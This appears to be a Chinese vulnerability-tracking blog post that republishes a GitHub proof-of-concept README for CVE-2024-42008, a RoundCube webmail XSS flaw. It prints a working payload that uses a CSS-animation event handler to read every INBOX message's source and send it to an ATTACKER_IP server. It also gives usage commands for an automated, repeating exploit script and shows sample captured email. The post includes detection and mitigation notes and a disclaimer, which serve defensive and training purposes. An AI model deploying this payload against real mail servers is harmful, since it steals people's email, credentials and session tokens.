RoundCube Cross-Site Scripting (XSS) Vulnerability

漏洞信息

漏洞名称： RoundCube Cross-Site Scripting (XSS) Vulnerability

漏洞编号：

  • CVE： CVE-2024-42008

漏洞类型： 跨站可执行脚本

漏洞等级： 高危

漏洞描述： RoundCube是一款广泛使用的开源Web邮件客户端，它提供了一个基于浏览器的邮件管理界面，支持IMAP和SMTP协议，常用于企业、教育机构和个人用户。由于其易用性和功能丰富性，RoundCube在全球范围内有着广泛的应用。

CVE-2024-42008是一个存在于RoundCube中的跨站脚本（XSS）漏洞，该漏洞源于rcmail_action_mail_get->run()函数在处理电子邮件内容时对输入验证不足，特别是在处理CSS动画和JavaScript执行上下文时。攻击者可以通过构造恶意的HTML内容，利用CSS动画属性触发JavaScript执行，从而绕过内容过滤器，在受害者的浏览器中执行任意JavaScript代码。

该漏洞的影响极为严重，成功利用此漏洞的攻击者可以窃取受害者的电子邮件、邮件元数据、邮件源代码和附件，甚至可以利用受害者的账户发送邮件、获取登录凭证和会话令牌，以及代表受害者执行其他操作。由于漏洞利用不需要用户交互，攻击者可以自动化地进行攻击，极大地增加了安全风险。因此，建议所有使用受影响版本的RoundCube用户尽快升级到1.5.8或1.6.8及以上版本，以防范潜在的安全威胁。

产品厂商： RoundCube

产品名称： RoundCube

影响版本： RoundCube ≤ 1.5.7, RoundCube 1.6.x ≤ 1.6.7

来源： https://github.com/rpgsec/Roundcube-CVE-2024-42008-POC

类型： CVE-2024:github search

仓库文件

  • README.md
  • script.py

来源概述

CVE-2024-42008 RoundCube XSS Exploit

Overview

This repository contains a proof-of-concept exploit for CVE-2024-42008, a Cross-Site Scripting (XSS) vulnerability in RoundCube webmail application. This exploit is designed for educational purposes and controlled penetration testing environments like HackTheBox.

Vulnerability Details

CVE-2024-42008 Summary

  • CVE ID: CVE-2024-42008
  • Type: Cross-Site Scripting (XSS)
  • CVSS Score: High
  • Affected Versions:
    • RoundCube ≤ 1.5.7
    • RoundCube 1.6.x ≤ 1.6.7
  • Fixed Versions: 1.5.8, 1.6.8+

Technical Details

The vulnerability exists in rcmail_action_mail_get->run() and allows remote attackers to execute arbitrary JavaScript in victims’ browsers. The flaw stems from insufficient input validation when processing email content, particularly in handling CSS animations and JavaScript execution contexts.

Key Attack Vector:

  • Malicious HTML content injected via contact forms or email messages
  • CSS animation properties used to trigger JavaScript execution
  • onanimationstart event handlers bypass content filters
  • JavaScript payload executes in the context of the webmail application

Impact

Successful exploitation allows attackers to:

  • Steal victim’s emails from INBOX and other folders
  • Exfiltrate email metadata (UIDs, message lists)
  • Access email source code and attachments
  • Send emails from victim’s account
  • Harvest login credentials and session tokens
  • Perform actions on behalf of the victim

Exploit Script Analysis

Script Architecture

The exploit consists of three main components:

  1. XSS Payload Delivery: Sends malicious HTML via contact form
  2. HTTP Server: Listens for exfiltrated data
  3. Data Processing: Captures and logs stolen emails

Payload Breakdown

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// The core XSS payload uses CSS animations to trigger JavaScript
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=
  // 1. Fetch email list from victim's INBOX
  fetch('/?_task=mail&_action=list&_mbox=INBOX&_page=&_remote=1')
  .then(r=>r.text())
  .then(t=>{
    // 2. Extract email UIDs using regex
    [...t.matchAll(/this\\.add_message_row\\((\\d+),/g)].forEach(m=>{
      // 3. For each email, fetch full source
      fetch(`/?_task=mail&_uid=${m[1]}&_mbox=INBOX&_action=viewsource`)
      .then(r=>r.text())
      .then(data=>{
        // 4. Exfiltrate email data to attacker server
        fetch(`http://ATTACKER_IP:PORT/?data=${encodeURIComponent(data)}`)
      })
    })
  })
; foo=bar">

Key Features

  • Continuous Operation: Can send payloads at regular intervals
  • Stealth Mode: Minimal footprint and error handling
  • Data Logging: Automatic capture and storage of exfiltrated emails
  • Debug Mode: Proxy support for traffic analysis
  • Configurable: Multiple command-line options

Usage

Prerequisites

1
pip install requests

Basic Usage

1
2
3
4
5
6
7
8
9
10
11
## Single payload delivery
python cve-2024-42008-exploit.py

## Continuous mode (every 30 seconds)
python cve-2024-42008-exploit.py -c

## Custom interval (every 60 seconds)
python cve-2024-42008-exploit.py -c -i 60

## Debug mode with proxy
python cve-2024-42008-exploit.py -d

Configuration

Edit the script to configure:

  • ATTACKER_IP: Your listening server IP
  • ATTACKER_PORT: Port for receiving exfiltrated data
  • RECIPIENT_EMAIL: Target email address
  • TARGET_URL: Vulnerable RoundCube instance
  • PROXY: Proxy server for debugging (Burp Suite/Caido)

Command Line Options

Option Description
-d, --debug Enable debug mode with proxy support
-c, --continuous Send payloads continuously
-i, --interval Interval between payloads (default: 30s)

Attack Flow

  1. Payload Injection: Script sends malicious HTML via contact form
  2. Email Delivery: Vulnerable RoundCube processes and delivers email
  3. Victim Interaction: User opens/views the malicious email
  4. XSS Execution: CSS animation triggers JavaScript payload
  5. Data Exfiltration: JavaScript steals emails and sends to attacker
  6. Data Capture: Exploit server receives and logs stolen data

Detection and Mitigation

For Defenders

Detection Indicators:

  • Unusual CSS animation properties in email content
  • onanimationstart event handlers in HTML
  • Suspicious JavaScript in email messages
  • Outbound requests to unknown domains from webmail
  • Repeated contact form submissions

Mitigation Strategies:

  • Update RoundCube to version 1.5.8 or 1.6.8+
  • Implement Content Security Policy (CSP)
  • Enable email content filtering
  • Monitor for suspicious outbound traffic
  • Regular security audits of webmail configurations

For Penetration Testers

Testing Considerations:

  • Ensure proper authorization before testing
  • Document all activities for reporting
  • Test in isolated environments only
  • Verify target is intentionally vulnerable
  • Follow responsible disclosure practices

⚠️ WARNING: This exploit is provided for educational and authorized testing purposes only.

  • Only use on systems you own or have explicit permission to test
  • Designed for HackTheBox and similar learning platforms
  • Unauthorized use may violate local and international laws
  • Always follow responsible disclosure practices
  • Respect privacy and data protection regulations

Technical References

Output Example

1
2
3
4
5
6
7
8
9
10
[+] Listening on 10.10.14.209:8001 for exfiltrated data...
[2024-07-09 10:30:15] POST Request Sent! Status Code: 200

[+] 📩 Captured Email Data:
Return-Path: <admin@example.com>
Received: from localhost (localhost [127.0.0.1])
...
[Email content]
--------------------------------------------------
[+] 🔥 Email data saved to emails.log

Disclaimer

This code is provided for educational purposes and authorized penetration testing only. The authors are not responsible for any misuse or damage caused by this software. Always ensure you have proper authorization before testing any system.

Github Poc
#CVE-2024:github search #跨站可执行脚本
RoundCube Cross-Site Scripting (XSS) Vulnerability
http://example.com/2025/07/09/github_1881750803/
作者
lianccc
发布于
2025年7月9日
许可协议